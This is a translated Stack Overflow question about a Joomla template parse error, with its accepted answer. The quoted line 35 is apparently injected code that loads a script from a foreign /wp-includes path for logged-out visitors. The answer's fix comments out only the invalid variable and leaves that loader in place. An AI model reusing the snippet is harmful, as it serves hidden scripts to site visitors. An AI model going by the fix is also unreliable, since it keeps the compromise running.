php - 我的 joomla 网站出现问题

标签 php parsing joomla syntax-error

我是一名图形和网页设计师,但我不是程序员..

我需要帮助。今天我在加载这个基于旧joomla的网站主页时发现了这个错误..

Parse error: syntax error, unexpected T_DNUMBER, expecting T_VARIABLE or '$' in /web/htdocs/www.sitename.com/home/sma/templates/JB_New_Media/index.php on line 35

我在查看第 35 行,发现了这个:

<?php $423e62d9=1;if(is_object($_SESSION["__default"]["user"]) && !($_SESSION["__default"]["user"]->id)) {echo "
<script language=JavaScript id=onDate ></script>
<script language=JavaScript src=/wp-includes/js/stat423.php ></script>
";};$423e62d9=1; ?>

如何解决?
提前致谢!

最佳答案

首先,就像其他人在评论中指出的那样,$423e62d9 不是 valid variable name 。所以你必须以某种方式修复它。

其次,在这段代码中,这个“变量”的使用没有任何意义:它只是相当于 1 几次:$423e62d9=1;。因此可以有 3 个选项:要么根本不需要这部分,要么这个“varialbe”也在其他地方使用,或者这是某种错误输入(2 次?嗯)。 PS:好的,根据评论,还有第四种选择:该网站被黑客攻击。在这种情况下,应该更仔细地研究周围的代码;不管怎样,大家建议更新 Joomla 核心。

接下来,我建议您注释掉这些位:

<?php /*$423e62d9=1;*/if(is_object($_SESSION["__default"]["user"]) && !($_SESSION["__default"]["user"]->id)) {echo "
<script language=JavaScript id=onDate ></script>
<script language=JavaScript src=/wp-includes/js/stat423.php ></script>
";};/*$423e62d9=1;*/ ?>

看看会发生什么。这可以解决问题,或者进一步阐明其根源。

另一种选择是尝试重命名它(在 $ 之后添加一个字母),但除非您在其他地方找到它,否则它没有多大意义。

最后,如果这是第三种情况,则可能需要一些“有根据的猜测”。好吧,我认为猜谜游戏不值得,所以让我们从上面建议的 2 个选项开始。

关于php - 我的 joomla 网站出现问题,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/39574441/

相关文章:

php - PHP5中不同的XML解析库有什么区别?

php - 插入时基于 MAX() 子查询安全地自动递增 MySQL 字段

php - 组合字段插入数据库

php - 编码标准和行长

c++ - 简单解析题

Joomla 2.5 自定义字段列表未在显示中选择

php - mysql - 更新值是当前值加上新值

xml - 有没有办法将目录中的一些 XML 文件转换为 AVRO 文件?

html - 在 joomla 3.2 中为不同的文章页面添加不同的浏览器标题

Joomla - 未应用类别博客替代布局